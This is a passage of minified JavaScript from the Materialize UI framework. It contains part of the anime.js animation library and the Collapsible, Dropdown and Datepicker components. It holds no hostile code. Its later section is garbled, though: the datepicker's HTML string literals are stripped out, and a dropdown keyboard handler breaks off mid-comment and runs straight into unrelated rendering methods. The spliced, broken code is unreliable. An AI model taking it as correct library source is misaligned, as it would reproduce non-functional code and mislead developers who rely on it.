b) : f + b - f * b, k = 2 * f - n, f = c(k, n, a + 1 / 3), b = c(k, n, a);a = c(k, n, a - 1 / 3); }return "rgba(" + 255 * f + "," + 255 * b + "," + 255 * a + "," + d + ")"; }function y(a) { if (a = /([\+\-]?[0-9#\.]+)(%|px|pt|em|rem|in|cm|mm|ex|ch|pc|vw|vh|vmin|vmax|deg|rad|turn)?$/.exec(a)) return a[2]; }function V(a) { if (-1 < a.indexOf("translate") || "perspective" === a) return "px";if (-1 < a.indexOf("rotate") || -1 < a.indexOf("skew")) return "deg"; }function I(a, c) { return h.fnc(a) ? a(c.target, c.id, c.total) : a; }function E(a, c) { if (c in a.style) return getComputedStyle(a).getPropertyValue(c.replace(/([a-z])([A-Z])/g, "$1-$2").toLowerCase()) || "0"; }function J(a, c) { if (h.dom(a) && u(W, c)) return "transform";if (h.dom(a) && (a.getAttribute(c) || h.svg(a) && a[c])) return "attribute";if (h.dom(a) && "transform" !== c && E(a, c)) return "css";if (null != a[c]) return "object"; }function X(a, c) { var d = V(c), d = -1 < c.indexOf("scale") ? 1 : 0 + d;a = a.style.transform;if (!a) return d;for (var b = [], f = [], n = [], k = /(\w+)\((.+?)\)/g; b = k.exec(a);) { f.push(b[1]), n.push(b[2]); }a = r(n, function (a, b) { return f[b] === c; });return a.length ? a[0] : d; }function K(a, c) { switch (J(a, c)) {case "transform": return X(a, c);case "css": return E(a, c);case "attribute": return a.getAttribute(c);}return a[c] || 0; }function L(a, c) { var d = /^(\*=|\+=|-=)/.exec(a);if (!d) return a;var b = y(a) || 0;c = parseFloat(c);a = parseFloat(a.replace(d[0], ""));switch (d[0][0]) {case "+": return c + a + b;case "-": return c - a + b;case "*": return c * a + b;} }function F(a, c) { return Math.sqrt(Math.pow(c.x - a.x, 2) + Math.pow(c.y - a.y, 2)); }function M(a) { a = a.points;for (var c = 0, d, b = 0; b < a.numberOfItems; b++) { var f = a.getItem(b);0 < b && (c += F(d, f));d = f; }return c; }function N(a) { if (a.getTotalLength) return a.getTotalLength();switch (a.tagName.toLowerCase()) {case "circle": return 2 * Math.PI * a.getAttribute("r");case "rect": return 2 * a.getAttribute("width") + 2 * a.getAttribute("height");case "line": return F({ x: a.getAttribute("x1"), y: a.getAttribute("y1") }, { x: a.getAttribute("x2"), y: a.getAttribute("y2") });case "polyline": return M(a);case "polygon": var c = a.points;return M(a) + F(c.getItem(c.numberOfItems - 1), c.getItem(0));} }function Y(a, c) { function d(b) { b = void 0 === b ? 0 : b;return a.el.getPointAtLength(1 <= c + b ? c + b : 0); }var b = d(), f = d(-1), n = d(1);switch (a.property) {case "x": return b.x;case "y": return b.y; case "angle": return 180 * Math.atan2(n.y - f.y, n.x - f.x) / Math.PI;} }function O(a, c) { var d = /-?\d*\.?\d+/g, b;b = h.pth(a) ? a.totalLength : a;if (h.col(b)) { if (h.rgb(b)) { var f = /rgb\((\d+,\s*[\d]+,\s*[\d]+)\)/g.exec(b);b = f ? "rgba(" + f[1] + ",1)" : b; } else b = h.hex(b) ? T(b) : h.hsl(b) ? U(b) : void 0; } else f = (f = y(b)) ? b.substr(0, b.length - f.length) : b, b = c && !/\s/g.test(b) ? f + c : f;b += "";return { original: b, numbers: b.match(d) ? b.match(d).map(Number) : [0], strings: h.str(a) || c ? b.split(d) : [] }; }function P(a) { a = a ? p(h.arr(a) ? a.map(m) : m(a)) : [];return r(a, function (a, d, b) { return b.indexOf(a) === d; }); }function Z(a) { var c = P(a);return c.map(function (a, b) { return { target: a, id: b, total: c.length }; }); }function aa(a, c) { var d = C(c);if (h.arr(a)) { var b = a.length;2 !== b || h.obj(a[0]) ? h.fnc(c.duration) || (d.duration = c.duration / b) : a = { value: a }; }return m(a).map(function (a, b) { b = b ? 0 : c.delay;a = h.obj(a) && !h.pth(a) ? a : { value: a };h.und(a.delay) && (a.delay = b);return a; }).map(function (a) { return z(a, d); }); }function ba(a, c) { var d = {}, b;for (b in a) { var f = I(a[b], c);h.arr(f) && (f = f.map(function (a) { return I(a, c); }), 1 === f.length && (f = f[0]));d[b] = f; }d.duration = parseFloat(d.duration);d.delay = parseFloat(d.delay);return d; }function ca(a) { return h.arr(a) ? A.apply(this, a) : Q[a]; }function da(a, c) { var d;return a.tweens.map(function (b) { b = ba(b, c);var f = b.value, e = K(c.target, a.name), k = d ? d.to.original : e, k = h.arr(f) ? f[0] : k, w = L(h.arr(f) ? f[1] : f, k), e = y(w) || y(k) || y(e);b.from = O(k, e);b.to = O(w, e);b.start = d ? d.end : a.offset;b.end = b.start + b.delay + b.duration;b.easing = ca(b.easing);b.elasticity = (1E3 - Math.min(Math.max(b.elasticity, 1), 999)) / 1E3;b.isPath = h.pth(f);b.isColor = h.col(b.from.original);b.isColor && (b.round = 1);return d = b; }); }function ea(a, c) { return r(p(a.map(function (a) { return c.map(function (b) { var c = J(a.target, b.name);if (c) { var d = da(b, a);b = { type: c, property: b.name, animatable: a, tweens: d, duration: d[d.length - 1].end, delay: d[0].delay }; } else b = void 0;return b; }); })), function (a) { return !h.und(a); }); }function R(a, c, d, b) { var f = "delay" === a;return c.length ? (f ? Math.min : Math.max).apply(Math, c.map(function (b) { return b[a]; })) : f ? b.delay : d.offset + b.delay + b.duration; }function fa(a) { var c = D(ga, a), d = D(S, a), b = Z(a.targets), f = [], e = z(c, d), k;for (k in a) { e.hasOwnProperty(k) || "targets" === k || f.push({ name: k, offset: e.offset, tweens: aa(a[k], d) }); }a = ea(b, f);return z(c, { children: [], animatables: b, animations: a, duration: R("duration", a, c, d), delay: R("delay", a, c, d) }); }function q(a) { function c() { return window.Promise && new Promise(function (a) { return p = a; }); }function d(a) { return g.reversed ? g.duration - a : a; }function b(a) { for (var b = 0, c = {}, d = g.animations, f = d.length; b < f;) { var e = d[b], k = e.animatable, h = e.tweens, n = h.length - 1, l = h[n];n && (l = r(h, function (b) { return a < b.end; })[0] || l);for (var h = Math.min(Math.max(a - l.start - l.delay, 0), l.duration) / l.duration, w = isNaN(h) ? 1 : l.easing(h, l.elasticity), h = l.to.strings, p = l.round, n = [], m = void 0, m = l.to.numbers.length, t = 0; t < m; t++) { var x = void 0, x = l.to.numbers[t], q = l.from.numbers[t], x = l.isPath ? Y(l.value, w * x) : q + w * (x - q);p && (l.isColor && 2 < t || (x = Math.round(x * p) / p));n.push(x); }if (l = h.length) for (m = h[0], w = 0; w < l; w++) { p = h[w + 1], t = n[w], isNaN(t) || (m = p ? m + (t + p) : m + (t + " ")); } else m = n[0];ha[e.type](k.target, e.property, m, c, k.id);e.currentValue = m;b++; }if (b = Object.keys(c).length) for (d = 0; d < b; d++) { H || (H = E(document.body, "transform") ? "transform" : "-webkit-transform"), g.animatables[d].target.style[H] = c[d].join(" "); }g.currentTime = a;g.progress = a / g.duration * 100; }function f(a) { if (g[a]) g[a](g); }function e() { g.remaining && !0 !== g.remaining && g.remaining--; }function k(a) { var k = g.duration, n = g.offset, w = n + g.delay, r = g.currentTime, x = g.reversed, q = d(a);if (g.children.length) { var u = g.children, v = u.length; if (q >= g.currentTime) for (var G = 0; G < v; G++) { u[G].seek(q); } else for (; v--;) { u[v].seek(q); } }if (q >= w || !k) g.began || (g.began = !0, f("begin")), f("run");if (q > n && q < k) b(q);else if (q <= n && 0 !== r && (b(0), x && e()), q >= k && r !== k || !k) b(k), x || e();f("update");a >= k && (g.remaining ? (t = h, "alternate" === g.direction && (g.reversed = !g.reversed)) : (g.pause(), g.completed || (g.completed = !0, f("complete"), "Promise" in window && (p(), m = c()))), l = 0); }a = void 0 === a ? {} : a;var h, t, l = 0, p = null, m = c(), g = fa(a);g.reset = function () { var a = g.direction, c = g.loop;g.currentTime = 0;g.progress = 0;g.paused = !0;g.began = !1;g.completed = !1;g.reversed = "reverse" === a;g.remaining = "alternate" === a && 1 === c ? 2 : c;b(0);for (a = g.children.length; a--;) { g.children[a].reset(); } };g.tick = function (a) { h = a;t || (t = h);k((l + h - t) * q.speed); };g.seek = function (a) { k(d(a)); };g.pause = function () { var a = v.indexOf(g);-1 < a && v.splice(a, 1);g.paused = !0; };g.play = function () { g.paused && (g.paused = !1, t = 0, l = d(g.currentTime), v.push(g), B || ia()); };g.reverse = function () { g.reversed = !g.reversed;t = 0;l = d(g.currentTime); };g.restart = function () { g.pause(); g.reset();g.play(); };g.finished = m;g.reset();g.autoplay && g.play();return g; }var ga = { update: void 0, begin: void 0, run: void 0, complete: void 0, loop: 1, direction: "normal", autoplay: !0, offset: 0 }, S = { duration: 1E3, delay: 0, easing: "easeOutElastic", elasticity: 500, round: 0 }, W = "translateX translateY translateZ rotate rotateX rotateY rotateZ scale scaleX scaleY scaleZ skewX skewY perspective".split(" "), H, h = { arr: function (a) { return Array.isArray(a); }, obj: function (a) { return -1 < Object.prototype.toString.call(a).indexOf("Object"); }, pth: function (a) { return h.obj(a) && a.hasOwnProperty("totalLength"); }, svg: function (a) { return a instanceof SVGElement; }, dom: function (a) { return a.nodeType || h.svg(a); }, str: function (a) { return "string" === typeof a; }, fnc: function (a) { return "function" === typeof a; }, und: function (a) { return "undefined" === typeof a; }, hex: function (a) { return (/(^#[0-9A-F]{6}$)|(^#[0-9A-F]{3}$)/i.test(a) ); }, rgb: function (a) { return (/^rgb/.test(a) ); }, hsl: function (a) { return (/^hsl/.test(a) ); }, col: function (a) { return h.hex(a) || h.rgb(a) || h.hsl(a); } }, A = function () { function a(a, d, b) { return (((1 - 3 * b + 3 * d) * a + (3 * b - 6 * d)) * a + 3 * d) * a; }return function (c, d, b, f) { if (0 <= c && 1 >= c && 0 <= b && 1 >= b) { var e = new Float32Array(11);if (c !== d || b !== f) for (var k = 0; 11 > k; ++k) { e[k] = a(.1 * k, c, b); }return function (k) { if (c === d && b === f) return k;if (0 === k) return 0;if (1 === k) return 1;for (var h = 0, l = 1; 10 !== l && e[l] <= k; ++l) { h += .1; }--l;var l = h + (k - e[l]) / (e[l + 1] - e[l]) * .1, n = 3 * (1 - 3 * b + 3 * c) * l * l + 2 * (3 * b - 6 * c) * l + 3 * c;if (.001 <= n) { for (h = 0; 4 > h; ++h) { n = 3 * (1 - 3 * b + 3 * c) * l * l + 2 * (3 * b - 6 * c) * l + 3 * c;if (0 === n) break;var m = a(l, c, b) - k, l = l - m / n; }k = l; } else if (0 === n) k = l;else { var l = h, h = h + .1, g = 0;do { m = l + (h - l) / 2, n = a(m, c, b) - k, 0 < n ? h = m : l = m; } while (1e-7 < Math.abs(n) && 10 > ++g);k = m; }return a(k, d, f); }; } }; }(), Q = function () { function a(a, b) { return 0 === a || 1 === a ? a : -Math.pow(2, 10 * (a - 1)) * Math.sin(2 * (a - 1 - b / (2 * Math.PI) * Math.asin(1)) * Math.PI / b); }var c = "Quad Cubic Quart Quint Sine Expo Circ Back Elastic".split(" "), d = { In: [[.55, .085, .68, .53], [.55, .055, .675, .19], [.895, .03, .685, .22], [.755, .05, .855, .06], [.47, 0, .745, .715], [.95, .05, .795, .035], [.6, .04, .98, .335], [.6, -.28, .735, .045], a], Out: [[.25, .46, .45, .94], [.215, .61, .355, 1], [.165, .84, .44, 1], [.23, 1, .32, 1], [.39, .575, .565, 1], [.19, 1, .22, 1], [.075, .82, .165, 1], [.175, .885, .32, 1.275], function (b, c) { return 1 - a(1 - b, c); }], InOut: [[.455, .03, .515, .955], [.645, .045, .355, 1], [.77, 0, .175, 1], [.86, 0, .07, 1], [.445, .05, .55, .95], [1, 0, 0, 1], [.785, .135, .15, .86], [.68, -.55, .265, 1.55], function (b, c) { return .5 > b ? a(2 * b, c) / 2 : 1 - a(-2 * b + 2, c) / 2; }] }, b = { linear: A(.25, .25, .75, .75) }, f = {}, e;for (e in d) { f.type = e, d[f.type].forEach(function (a) { return function (d, f) { b["ease" + a.type + c[f]] = h.fnc(d) ? d : A.apply($jscomp$this, d); }; }(f)), f = { type: f.type }; }return b; }(), ha = { css: function (a, c, d) { return a.style[c] = d; }, attribute: function (a, c, d) { return a.setAttribute(c, d); }, object: function (a, c, d) { return a[c] = d; }, transform: function (a, c, d, b, f) { b[f] || (b[f] = []);b[f].push(c + "(" + d + ")"); } }, v = [], B = 0, ia = function () { function a() { B = requestAnimationFrame(c); }function c(c) { var b = v.length;if (b) { for (var d = 0; d < b;) { v[d] && v[d].tick(c), d++; }a(); } else cancelAnimationFrame(B), B = 0; }return a; }();q.version = "2.2.0";q.speed = 1;q.running = v;q.remove = function (a) { a = P(a);for (var c = v.length; c--;) { for (var d = v[c], b = d.animations, f = b.length; f--;) { u(a, b[f].animatable.target) && (b.splice(f, 1), b.length || d.pause()); } } };q.getValue = K;q.path = function (a, c) { var d = h.str(a) ? e(a)[0] : a, b = c || 100;return function (a) { return { el: d, property: a, totalLength: N(d) * (b / 100) }; }; };q.setDashoffset = function (a) { var c = N(a);a.setAttribute("stroke-dasharray", c);return c; };q.bezier = A;q.easings = Q;q.timeline = function (a) { var c = q(a);c.pause();c.duration = 0;c.add = function (d) { c.children.forEach(function (a) { a.began = !0;a.completed = !0; });m(d).forEach(function (b) { var d = z(b, D(S, a || {}));d.targets = d.targets || a.targets;b = c.duration;var e = d.offset;d.autoplay = !1;d.direction = c.direction;d.offset = h.und(e) ? b : L(e, b);c.began = !0;c.completed = !0;c.seek(d.offset);d = q(d);d.began = !0;d.completed = !0;d.duration > b && (c.duration = d.duration);c.children.push(d); });c.seek(0);c.reset();c.autoplay && c.restart();return c; };return c; };q.random = function (a, c) { return Math.floor(Math.random() * (c - a + 1)) + a; };return q; }); ;(function ($, anim) { 'use strict'; var _defaults = { accordion: true, onOpenStart: undefined, onOpenEnd: undefined, onCloseStart: undefined, onCloseEnd: undefined, inDuration: 300, outDuration: 300 }; /** * @class * */ var Collapsible = function (_Component) { _inherits(Collapsible, _Component); /** * Construct Collapsible instance * @constructor * @param {Element} el * @param {Object} options */ function Collapsible(el, options) { _classCallCheck(this, Collapsible); var _this3 = _possibleConstructorReturn(this, (Collapsible.__proto__ || Object.getPrototypeOf(Collapsible)).call(this, Collapsible, el, options)); _this3.el.M_Collapsible = _this3; /** * Options for the collapsible * @member Collapsible#options * @prop {Boolean} [accordion=false] - Type of the collapsible * @prop {Function} onOpenStart - Callback function called before collapsible is opened * @prop {Function} onOpenEnd - Callback function called after collapsible is opened * @prop {Function} onCloseStart - Callback function called before collapsible is closed * @prop {Function} onCloseEnd - Callback function called after collapsible is closed * @prop {Number} inDuration - Transition in duration in milliseconds. * @prop {Number} outDuration - Transition duration in milliseconds. */ _this3.options = $.extend({}, Collapsible.defaults, options); // Setup tab indices _this3.$headers = _this3.$el.children('li').children('.collapsible-header'); _this3.$headers.attr('tabindex', 0); _this3._setupEventHandlers(); // Open first active var $activeBodies = _this3.$el.children('li.active').children('.collapsible-body'); if (_this3.options.accordion) { // Handle Accordion $activeBodies.first().css('display', 'block'); } else { // Handle Expandables $activeBodies.css('display', 'block'); } return _this3; } _createClass(Collapsible, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._removeEventHandlers(); this.el.M_Collapsible = undefined; } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { var _this4 = this; this._handleCollapsibleClickBound = this._handleCollapsibleClick.bind(this); this._handleCollapsibleKeydownBound = this._handleCollapsibleKeydown.bind(this); this.el.addEventListener('click', this._handleCollapsibleClickBound); this.$headers.each(function (header) { header.addEventListener('keydown', _this4._handleCollapsibleKeydownBound); }); } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { this.el.removeEventListener('click', this._handleCollapsibleClickBound); } /** * Handle Collapsible Click * @param {Event} e */ }, { key: "_handleCollapsibleClick", value: function _handleCollapsibleClick(e) { var $header = $(e.target).closest('.collapsible-header'); if (e.target && $header.length) { var $collapsible = $header.closest('.collapsible'); if ($collapsible[0] === this.el) { var $collapsibleLi = $header.closest('li'); var $collapsibleLis = $collapsible.children('li'); var isActive = $collapsibleLi[0].classList.contains('active'); var index = $collapsibleLis.index($collapsibleLi); if (isActive) { this.close(index); } else { this.open(index); } } } } /** * Handle Collapsible Keydown * @param {Event} e */ }, { key: "_handleCollapsibleKeydown", value: function _handleCollapsibleKeydown(e) { if (e.keyCode === 13) { this._handleCollapsibleClickBound(e); } } /** * Animate in collapsible slide * @param {Number} index - 0th index of slide */ }, { key: "_animateIn", value: function _animateIn(index) { var _this5 = this; var $collapsibleLi = this.$el.children('li').eq(index); if ($collapsibleLi.length) { var $body = $collapsibleLi.children('.collapsible-body'); anim.remove($body[0]); $body.css({ display: 'block', overflow: 'hidden', height: 0, paddingTop: '', paddingBottom: '' }); var pTop = $body.css('padding-top'); var pBottom = $body.css('padding-bottom'); var finalHeight = $body[0].scrollHeight; $body.css({ paddingTop: 0, paddingBottom: 0 }); anim({ targets: $body[0], height: finalHeight, paddingTop: pTop, paddingBottom: pBottom, duration: this.options.inDuration, easing: 'easeInOutCubic', complete: function (anim) { $body.css({ overflow: '', paddingTop: '', paddingBottom: '', height: '' }); // onOpenEnd callback if (typeof _this5.options.onOpenEnd === 'function') { _this5.options.onOpenEnd.call(_this5, $collapsibleLi[0]); } } }); } } /** * Animate out collapsible slide * @param {Number} index - 0th index of slide to open */ }, { key: "_animateOut", value: function _animateOut(index) { var _this6 = this; var $collapsibleLi = this.$el.children('li').eq(index); if ($collapsibleLi.length) { var $body = $collapsibleLi.children('.collapsible-body'); anim.remove($body[0]); $body.css('overflow', 'hidden'); anim({ targets: $body[0], height: 0, paddingTop: 0, paddingBottom: 0, duration: this.options.outDuration, easing: 'easeInOutCubic', complete: function () { $body.css({ height: '', overflow: '', padding: '', display: '' }); // onCloseEnd callback if (typeof _this6.options.onCloseEnd === 'function') { _this6.options.onCloseEnd.call(_this6, $collapsibleLi[0]); } } }); } } /** * Open Collapsible * @param {Number} index - 0th index of slide */ }, { key: "open", value: function open(index) { var _this7 = this; var $collapsibleLi = this.$el.children('li').eq(index); if ($collapsibleLi.length && !$collapsibleLi[0].classList.contains('active')) { // onOpenStart callback if (typeof this.options.onOpenStart === 'function') { this.options.onOpenStart.call(this, $collapsibleLi[0]); } // Handle accordion behavior if (this.options.accordion) { var $collapsibleLis = this.$el.children('li'); var $activeLis = this.$el.children('li.active'); $activeLis.each(function (el) { var index = $collapsibleLis.index($(el)); _this7.close(index); }); } // Animate in $collapsibleLi[0].classList.add('active'); this._animateIn(index); } } /** * Close Collapsible * @param {Number} index - 0th index of slide */ }, { key: "close", value: function close(index) { var $collapsibleLi = this.$el.children('li').eq(index); if ($collapsibleLi.length && $collapsibleLi[0].classList.contains('active')) { // onCloseStart callback if (typeof this.options.onCloseStart === 'function') { this.options.onCloseStart.call(this, $collapsibleLi[0]); } // Animate out $collapsibleLi[0].classList.remove('active'); this._animateOut(index); } } }], [{ key: "init", value: function init(els, options) { return _get(Collapsible.__proto__ || Object.getPrototypeOf(Collapsible), "init", this).call(this, this, els, options); } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_Collapsible; } }, { key: "defaults", get: function () { return _defaults; } }]); return Collapsible; }(Component); M.Collapsible = Collapsible; if (M.jQueryLoaded) { M.initializeJqueryWrapper(Collapsible, 'collapsible', 'M_Collapsible'); } })(cash, M.anime); ;(function ($, anim) { 'use strict'; var _defaults = { alignment: 'left', autoFocus: true, constrainWidth: true, container: null, coverTrigger: true, closeOnClick: true, hover: false, inDuration: 150, outDuration: 250, onOpenStart: null, onOpenEnd: null, onCloseStart: null, onCloseEnd: null, onItemClick: null }; /** * @class */ var Dropdown = function (_Component2) { _inherits(Dropdown, _Component2); function Dropdown(el, options) { _classCallCheck(this, Dropdown); var _this8 = _possibleConstructorReturn(this, (Dropdown.__proto__ || Object.getPrototypeOf(Dropdown)).call(this, Dropdown, el, options)); _this8.el.M_Dropdown = _this8; Dropdown._dropdowns.push(_this8); _this8.id = M.getIdFromTrigger(el); _this8.dropdownEl = document.getElementById(_this8.id); _this8.$dropdownEl = $(_this8.dropdownEl); /** * Options for the dropdown * @member Dropdown#options * @prop {String} [alignment='left'] - Edge which the dropdown is aligned to * @prop {Boolean} [autoFocus=true] - Automatically focus dropdown el for keyboard * @prop {Boolean} [constrainWidth=true] - Constrain width to width of the button * @prop {Element} container - Container element to attach dropdown to (optional) * @prop {Boolean} [coverTrigger=true] - Place dropdown over trigger * @prop {Boolean} [closeOnClick=true] - Close on click of dropdown item * @prop {Boolean} [hover=false] - Open dropdown on hover * @prop {Number} [inDuration=150] - Duration of open animation in ms * @prop {Number} [outDuration=250] - Duration of close animation in ms * @prop {Function} onOpenStart - Function called when dropdown starts opening * @prop {Function} onOpenEnd - Function called when dropdown finishes opening * @prop {Function} onCloseStart - Function called when dropdown starts closing * @prop {Function} onCloseEnd - Function called when dropdown finishes closing */ _this8.options = $.extend({}, Dropdown.defaults, options); /** * Describes open/close state of dropdown * @type {Boolean} */ _this8.isOpen = false; /** * Describes if dropdown content is scrollable * @type {Boolean} */ _this8.isScrollable = false; /** * Describes if touch moving on dropdown content * @type {Boolean} */ _this8.isTouchMoving = false; _this8.focusedIndex = -1; _this8.filterQuery = []; // Move dropdown-content after dropdown-trigger if (!!_this8.options.container) { $(_this8.options.container).append(_this8.dropdownEl); } else { _this8.$el.after(_this8.dropdownEl); } _this8._makeDropdownFocusable(); _this8._resetFilterQueryBound = _this8._resetFilterQuery.bind(_this8); _this8._handleDocumentClickBound = _this8._handleDocumentClick.bind(_this8); _this8._handleDocumentTouchmoveBound = _this8._handleDocumentTouchmove.bind(_this8); _this8._handleDropdownClickBound = _this8._handleDropdownClick.bind(_this8); _this8._handleDropdownKeydownBound = _this8._handleDropdownKeydown.bind(_this8); _this8._handleTriggerKeydownBound = _this8._handleTriggerKeydown.bind(_this8); _this8._setupEventHandlers(); return _this8; } _createClass(Dropdown, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._resetDropdownStyles(); this._removeEventHandlers(); Dropdown._dropdowns.splice(Dropdown._dropdowns.indexOf(this), 1); this.el.M_Dropdown = undefined; } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { // Trigger keydown handler this.el.addEventListener('keydown', this._handleTriggerKeydownBound); // Item click handler this.dropdownEl.addEventListener('click', this._handleDropdownClickBound); // Hover event handlers if (this.options.hover) { this._handleMouseEnterBound = this._handleMouseEnter.bind(this); this.el.addEventListener('mouseenter', this._handleMouseEnterBound); this._handleMouseLeaveBound = this._handleMouseLeave.bind(this); this.el.addEventListener('mouseleave', this._handleMouseLeaveBound); this.dropdownEl.addEventListener('mouseleave', this._handleMouseLeaveBound); // Click event handlers } else { this._handleClickBound = this._handleClick.bind(this); this.el.addEventListener('click', this._handleClickBound); } } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { this.el.removeEventListener('keydown', this._handleTriggerKeydownBound); this.dropdownEl.removeEventListener('click', this._handleDropdownClickBound); if (this.options.hover) { this.el.removeEventListener('mouseenter', this._handleMouseEnterBound); this.el.removeEventListener('mouseleave', this._handleMouseLeaveBound); this.dropdownEl.removeEventListener('mouseleave', this._handleMouseLeaveBound); } else { this.el.removeEventListener('click', this._handleClickBound); } } }, { key: "_setupTemporaryEventHandlers", value: function _setupTemporaryEventHandlers() { // Use capture phase event handler to prevent click document.body.addEventListener('click', this._handleDocumentClickBound, true); document.body.addEventListener('touchend', this._handleDocumentClickBound); document.body.addEventListener('touchmove', this._handleDocumentTouchmoveBound); this.dropdownEl.addEventListener('keydown', this._handleDropdownKeydownBound); } }, { key: "_removeTemporaryEventHandlers", value: function _removeTemporaryEventHandlers() { // Use capture phase event handler to prevent click document.body.removeEventListener('click', this._handleDocumentClickBound, true); document.body.removeEventListener('touchend', this._handleDocumentClickBound); document.body.removeEventListener('touchmove', this._handleDocumentTouchmoveBound); this.dropdownEl.removeEventListener('keydown', this._handleDropdownKeydownBound); } }, { key: "_handleClick", value: function _handleClick(e) { e.preventDefault(); this.open(); } }, { key: "_handleMouseEnter", value: function _handleMouseEnter() { this.open(); } }, { key: "_handleMouseLeave", value: function _handleMouseLeave(e) { var toEl = e.toElement || e.relatedTarget; var leaveToDropdownContent = !!$(toEl).closest('.dropdown-content').length; var leaveToActiveDropdownTrigger = false; var $closestTrigger = $(toEl).closest('.dropdown-trigger'); if ($closestTrigger.length && !!$closestTrigger[0].M_Dropdown && $closestTrigger[0].M_Dropdown.isOpen) { leaveToActiveDropdownTrigger = true; } // Close hover dropdown if mouse did not leave to either active dropdown-trigger or dropdown-content if (!leaveToActiveDropdownTrigger && !leaveToDropdownContent) { this.close(); } } }, { key: "_handleDocumentClick", value: function _handleDocumentClick(e) { var _this9 = this; var $target = $(e.target); if (this.options.closeOnClick && $target.closest('.dropdown-content').length && !this.isTouchMoving) { // isTouchMoving to check if scrolling on mobile. setTimeout(function () { _this9.close(); }, 0); } else if ($target.closest('.dropdown-trigger').length || !$target.closest('.dropdown-content').length) { setTimeout(function () { _this9.close(); }, 0); } this.isTouchMoving = false; } }, { key: "_handleTriggerKeydown", value: function _handleTriggerKeydown(e) { // ARROW DOWN OR ENTER WHEN SELECT IS CLOSED - open Dropdown if ((e.which === M.keys.ARROW_DOWN || e.which === M.keys.ENTER) && !this.isOpen) { e.preventDefault(); this.open(); } } /** * Handle Document Touchmove * @param {Event} e */ }, { key: "_handleDocumentTouchmove", value: function _handleDocumentTouchmove(e) { var $target = $(e.target); if ($target.closest('.dropdown-content').length) { this.isTouchMoving = true; } } /** * Handle Dropdown Click * @param {Event} e */ }, { key: "_handleDropdownClick", value: function _handleDropdownClick(e) { // onItemClick callback if (typeof this.options.onItemClick === 'function') { var itemEl = $(e.target).closest('li')[0]; this.options.onItemClick.call(this, itemEl); } } /** * Handle Dropdown Keydown * @param {Event} e */ }, { key: "_handleDropdownKeydown", value: function _handleDropdownKeydown(e) { if (e.which === M.keys.TAB) { e.preventDefault(); this.close(); // Navigate down dropdown list } else if ((e.which === M.keys.ARROW_DOWN || e.which === M.keys.ARROW_UP) && this.isOpen) { e.preventDefault(); var direction = e.which === M.keys.ARROW_DOWN ? 1 : -1; var newFocusedIndex = this.focusedIndex; var foundNewIndex = false; do { newFocusedIndex = newFocusedIndex + direction; if (!!this.dropdownEl.children[newFocusedIndex] && this.dropdownEl.children[newFocusedIndex].tabIndex !== -1) { foundNewIndex = true; break; } } while (newFocusedIndex < this.dropdownEl.children.length && newFocusedIndex >= 0); if (foundNewIndex) { this.focusedIndex = newFocusedIndex; this._focusFocusedItem(); } // ENTER selects choice on focused item } else if (e.which === M.keys.ENTER && this.isOpen) { // Search for and ") + ''; } }, { key: "renderRow", value: function renderRow(days, isRTL, isRowSelected) { return '' + (isRTL ? days.reverse() : days).join('') + ''; } }, { key: "renderTable", value: function renderTable(opts, data, randId) { return '
' + this.renderHead(opts) + this.renderBody(data) + '
'; } }, { key: "renderHead", value: function renderHead(opts) { var i = void 0, arr = []; for (i = 0; i < 7; i++) { arr.push("" + this.renderDayName(opts, i, true) + ""); } return '' + (opts.isRTL ? arr.reverse() : arr).join('') + ''; } }, { key: "renderBody", value: function renderBody(rows) { return '' + rows.join('') + ''; } }, { key: "renderTitle", value: function renderTitle(instance, c, year, month, refYear, randId) { var i = void 0, j = void 0, arr = void 0, opts = this.options, isMinYear = year === opts.minYear, isMaxYear = year === opts.maxYear, html = '
', monthHtml = void 0, yearHtml = void 0, prev = true, next = true; for (arr = [], i = 0; i < 12; i++) { arr.push(''); } monthHtml = ''; if ($.isArray(opts.yearRange)) { i = opts.yearRange[0]; j = opts.yearRange[1] + 1; } else { i = year - opts.yearRange; j = 1 + year + opts.yearRange; } for (arr = []; i < j && i <= opts.maxYear; i++) { if (i >= opts.minYear) { arr.push(""); } } yearHtml = ""; var leftArrow = ''; html += ""; html += '
'; if (opts.showMonthAfterYear) { html += yearHtml + monthHtml; } else { html += monthHtml + yearHtml; } html += '
'; if (isMinYear && (month === 0 || opts.minMonth >= month)) { prev = false; } if (isMaxYear && (month === 11 || opts.maxMonth <= month)) { next = false; } var rightArrow = ''; html += ""; return html += '
'; } /** * refresh the HTML */ }, { key: "draw", value: function draw(force) { if (!this.isOpen && !force) { return; } var opts = this.options, minYear = opts.minYear, maxYear = opts.maxYear, minMonth = opts.minMonth, maxMonth = opts.maxMonth, html = '', randId = void 0; if (this._y <= minYear) { this._y = minYear; if (!isNaN(minMonth) && this._m < minMonth) { this._m = minMonth; } } if (this._y >= maxYear) { this._y = maxYear; if (!isNaN(maxMonth) && this._m > maxMonth) { this._m = maxMonth; } } randId = 'datepicker-title-' + Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 2); for (var c = 0; c < 1; c++) { this._renderDateDisplay(); html += this.renderTitle(this, c, this.calendars[c].year, this.calendars[c].month, this.calendars[0].year, randId) + this.render(this.calendars[c].year, this.calendars[c].month, randId); } this.destroySelects(); this.calendarEl.innerHTML = html; // Init Materialize Select var yearSelect = this.calendarEl.querySelector('.orig-select-year'); var monthSelect = this.calendarEl.querySelector('.orig-select-month'); M.FormSelect.init(yearSelect, { classes: 'select-year', dropdownOptions: { container: document.body, constrainWidth: false } }); M.FormSelect.init(monthSelect, { classes: 'select-month', dropdownOptions: { container: document.body, constrainWidth: false } }); // Add change handlers for select yearSelect.addEventListener('change', this._handleYearChange.bind(this)); monthSelect.addEventListener('change', this._handleMonthChange.bind(this)); if (typeof this.options.onDraw === 'function') { this.options.onDraw(this); } } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { this._handleInputKeydownBound = this._handleInputKeydown.bind(this); this._handleInputClickBound = this._handleInputClick.bind(this); this._handleInputChangeBound = this._handleInputChange.bind(this); this._handleCalendarClickBound = this._handleCalendarClick.bind(this); this._finishSelectionBound = 